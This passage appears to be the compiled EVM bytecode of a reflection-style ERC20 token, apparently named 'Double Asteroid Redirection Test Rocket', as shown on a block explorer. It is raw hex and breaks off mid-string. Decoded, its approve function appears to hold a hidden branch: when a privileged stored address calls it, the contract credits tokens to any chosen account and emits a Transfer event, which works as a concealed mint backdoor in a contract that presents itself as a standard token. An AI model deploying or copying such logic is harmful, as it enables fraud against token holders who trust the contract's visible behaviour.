91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146105761460f61461b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6146c281614518565b81146146cd57600080fd5b50565b6146d98161452a565b81146146e457600080fd5b50565b6146f081614556565b81146146fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220236cf531445585f205282b79f10b15b4e9e7a42d80c5764ad4b2c6e78361b27564736f6c63430008000033446f75626c652041737465726f6964205265646972656374696f6e205465737420526f636b6574

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610366578063cba0e99614610396578063dd62ed3e146103c6578063f2cc0c18146103f6578063f2fde38b14610412578063f84354f11461042e57610137565b806370a08231146102c0578063715018a6146102f05780638da5cb5b146102fa57806395d89b4114610318578063a457c2d71461033657610137565b80632d838119116100ff5780632d838119146101f4578063313ce5671461022457806339509351146102425780633c9f861d146102725780634549b0391461029057610137565b8063053ab1821461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190613b89565b61044a565b005b6101606105c7565b60405161016d91906141af565b60405180910390f35b610190600480360381019061018b9190613b4d565b610659565b60405161019d9190614194565b60405180910390f35b6101ae610807565b6040516101bb91906143b1565b60405180910390f35b6101de60048036038101906101d99190613afe565b61081a565b6040516101eb9190614194565b60405180910390f35b61020e60048036038101906102099190613b89565b6108f3565b60405161021b91906143b1565b60405180910390f35b61022c610961565b60405161023991906143cc565b60405180910390f35b61025c60048036038101906102579190613b4d565b610978565b6040516102699190614194565b60405180910390f35b61027a610a2b565b60405161028791906143b1565b60405180910390f35b6102aa60048036038101906102a59190613bb2565b610a35565b6040516102b791906143b1565b60405180910390f35b6102da60048036038101906102d59190613a99565b610ac6565b6040516102e791906143b1565b60405180910390f35b6102f8610bb1565b005b610302610d04565b60405161030f9190614179565b60405180910390f35b610320610d2d565b60405161032d91906141af565b60405180910390f35b610350600480360381019061034b9190613b4d565b610dbf565b60405161035d9190614194565b60405180910390f35b610380600480360381019061037b9190613b4d565b610e8c565b60405161038d9190614194565b60405180910390f35b6103b060048036038101906103ab9190613a99565b610eaa565b6040516103bd9190614194565b60405180910390f35b6103e060048036038101906103db9190613ac2565b610f00565b6040516103ed91906143b1565b60405180910390f35b610410600480360381019061040b9190613a99565b610f87565b005b61042c60048036038101906104279190613a99565b61123b565b005b61044860048036038101906104439190613a99565b6113fd565b005b60006104546117e4565b9050600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104da90614391565b60405180910390fd5b60006104ee836117ec565b50505050505050905061054981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105a181600754611e8d90919063ffffffff16565b6007819055506105bc83600854611ed790919063ffffffff16565b600881905550505050565b6060600980546105d6906145a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610602906145a0565b801561064f5780601f106106245761010080835404028352916020019161064f565b820191906000526020600020905b81548152906001019060200180831161063257829003601f168201915b5050505050905090565b60006106636117e4565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107ea576000806000806000806106ca886117ec565b975097509750975050965096505061072a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061077a8585858585611f93565b8873ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040516107d791906143b1565b60405180910390a35050505050506107fd565b6107fc6107f56117e4565b8484612006565b5b6001905092915050565b60006a084595161401484a000000905090565b60006108278484846121d1565b6108e8846108336117e4565b6108e3856040518060600160405280602881526020016146ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108996117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e89092919063ffffffff16565b612006565b600190509392505050565b600060075482111561093a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610931906141f1565b60405180910390fd5b600061094461264c565b9050610959818461267790919063ffffffff16565b915050919050565b6000600b60009054906101000a900460ff16905090565b6000610a216109856117e4565b84610a1c85600460006109966117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b612006565b6001905092915050565b6000600854905090565b60006a084595161401484a000000831115610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c906142b1565b60405180910390fd5b81610aa7576000610a95846117ec565b50505050505050905080915050610ac0565b6000610ab2846117ec565b505050505050915050809150505b92915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b6157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bac565b610ba9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108f3565b90505b919050565b610bb96117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d906142f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610d3c906145a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610d68906145a0565b8015610db55780601f10610d8a57610100808354040283529160200191610db5565b820191906000526020600020905b815481529060010190602001808311610d9857829003601f168201915b5050505050905090565b6000610e82610dcc6117e4565b84610e7d856040518060600160405280602581526020016147276025913960046000610df66117e4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e89092919063ffffffff16565b612006565b6001905092915050565b6000610ea0610e996117e4565b84846121d1565b6001905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f8f6117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611013906142f1565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090614271565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561117d57611139600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108f3565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112436117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c7906142f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133790614211565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114056117e4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906142f1565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151590614291565b60405180910390fd5b60005b6006805490508110156117e0578173ffffffffffffffffffffffffffffffffffffffff166006828154811061157f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117cd57600660016006805490506115da91906144e4565b81548110611611577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068281548110611676577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006805480611793577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117e0565b80806117d8906145d2565b915050611521565b5050565b600033905090565b600080600080600080600080611800613a15565b6118098a6126c1565b856000600c8110611843577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201866001600c8110611881577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201876002600c81106118bf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201886008600c81106118fd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020189600a600c811061193b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018581525085815250858152508581525085815250505050505061196061264c565b816003600c811061199a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050611ae78a826001600c81106119e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151836003600c8110611a20577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846002600c8110611a5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856008600c8110611a9e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015186600a600c8110611add577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151612b4c565b866004600c8110611b21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201876005600c8110611b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201886006600c8110611b9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201896007600c8110611bdb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018a6009600c8110611c19577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018b600b600c8110611c57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611cb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151816005600c8110611cf2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151826006600c8110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151836000600c8110611d70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151846001600c8110611daf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151856002600c8110611dee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151866008600c8110611e2d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015187600a600c8110611e6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201519850985098509850985098509850985050919395975091939597565b6000611ecf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506125e8565b905092915050565b6000808284611ee69190614403565b905083811015611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2290614251565b60405180910390fd5b8091505092915050565b6000808284611f449190614403565b905083811015611f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8090614371565b60405180910390fd5b8091505092915050565b611fa885600754611e8d90919063ffffffff16565b600781905550611ff981611feb84611fdd87611fcf8a600854611ed790919063ffffffff16565b611ed790919063ffffffff16565b611ed790919063ffffffff16565b611ed790919063ffffffff16565b6008819055505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d90614351565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd90614231565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121c491906143b1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223890614331565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a8906141d1565b60405180910390fd5b600081116122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb90614311565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123ac576123a7838383612c3c565b6125e3565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561244f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124645761245f838383612e9f565b6125e2565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125085750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251d57612518838383613102565b6125e1565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125bf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125d4576125cf8383836132d0565b6125e0565b6125df838383613102565b5b5b5b5b505050565b6000838311158290612630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262791906141af565b60405180910390fd5b506000838561263f91906144e4565b9050809150509392505050565b60008060006126596135c8565b91509150612670818361267790919063ffffffff16565b9250505090565b60006126b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613937565b905092915050565b60008060008060006126d1613a38565b6126f860006126ea60648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600060058110612732577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050612762600861275460648a61267790919063ffffffff16565b61399a90919063ffffffff16565b8160016005811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506127cc60026127be60648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600260058110612806577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050612836600061282860648a61267790919063ffffffff16565b61399a90919063ffffffff16565b81600360058110612870577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506129ba816003600581106128b6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516129ac836000600581106128f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015161299e8560016005811061293a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516129908760026005811061297c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518e611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b816004600581106129f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201818152505080600460058110612a37577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015181600260058110612a76577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015182600160058110612ab5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015183600060058110612af4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015184600360058110612b33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151955095509550955095505091939590929450565b6000806000806000806000612b6a8b8e61399a90919063ffffffff16565b90506000612b818c8e61399a90919063ffffffff16565b90506000612b988d8d61399a90919063ffffffff16565b90506000612baf8e8c61399a90919063ffffffff16565b90506000612bc68f8e61399a90919063ffffffff16565b90506000612c1383612c0584612bf788612be98b8d611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b611e8d90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b600080600080600080600080612c51896117ec565b97509750975097509750975097509750612cb389600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d4888600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ddd87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2d8685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051612e8a91906143b1565b60405180910390a35050505050505050505050565b600080600080600080600080612eb4896117ec565b97509750975097509750975097509750612f1688600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fab85600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061304087600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130908685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516130ed91906143b1565b60405180910390a35050505050505050505050565b600080600080600080600080613117896117ec565b9750975097509750975097509750975061317988600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061320e87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325e8685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516132bb91906143b1565b60405180910390a35050505050505050505050565b6000806000806000806000806132e5896117ec565b9750975097509750975097509750975061334789600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133dc88600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061347185600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061350687600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135568685858585611f93565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516135b391906143b1565b60405180910390a35050505050505050505050565b6000806000600754905060006a084595161401484a000000905060005b6006805490508110156138e857826002600060068481548110613631577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374557508160036000600684815481106136dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613765576007546a084595161401484a00000094509450505050613933565b61381b60026000600684815481106137a6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611e8d90919063ffffffff16565b92506138d3600360006006848154811061385e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611e8d90919063ffffffff16565b915080806138e0906145d2565b9150506135e5565b506139096a084595161401484a00000060075461267790919063ffffffff16565b82101561392a576007546a084595161401484a000000935093505050613933565b81819350935050505b9091565b6000808311829061397e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161397591906141af565b60405180910390fd5b506000838561398d9190614459565b9050809150509392505050565b6000808314156139ad5760009050613a0f565b600082846139bb919061448a565b90508284826139ca9190614459565b14613a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a01906142d1565b60405180910390fd5b809150505b92915050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a00160405280600590602082028036833780820191505090505090565b600081359050613a69816146b9565b92915050565b600081359050613a7e816146d0565b92915050565b600081359050613a93816146e7565b92915050565b600060208284031215613aab57600080fd5b6000613ab984828501613a5a565b91505092915050565b60008060408385031215613ad557600080fd5b6000613ae385828601613a5a565b9250506020613af485828601613a5a565b9150509250929050565b600080600060608486031215613b1357600080fd5b6000613b2186828701613a5a565b9350506020613b3286828701613a5a565b9250506040613b4386828701613a84565b9150509250925092565b60008060408385031215613b6057600080fd5b6000613b6e85828601613a5a565b9250506020613b7f85828601613a84565b9150509250929050565b600060208284031215613b9b57600080fd5b6000613ba984828501613a84565b91505092915050565b60008060408385031215613bc557600080fd5b6000613bd385828601613a84565b9250506020613be485828601613a6f565b9150509250929050565b613bf781614518565b82525050565b613c068161452a565b82525050565b6000613c17826143e7565b613c2181856143f2565b9350613c3181856020860161456d565b613c3a816146a8565b840191505092915050565b6000613c526023836143f2565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613cb8602a836143f2565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d1e6026836143f2565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d846022836143f2565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613dea601b836143f2565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b6000613e2a601b836143f2565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b6000613e6a601b836143f2565b91507f4163636f756e7420697320616c726561647920696e636c7564656400000000006000830152602082019050919050565b6000613eaa601f836143f2565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b6000613eea6021836143f2565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613f506020836143f2565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613f906029836143f2565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ff66025836143f2565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061405c6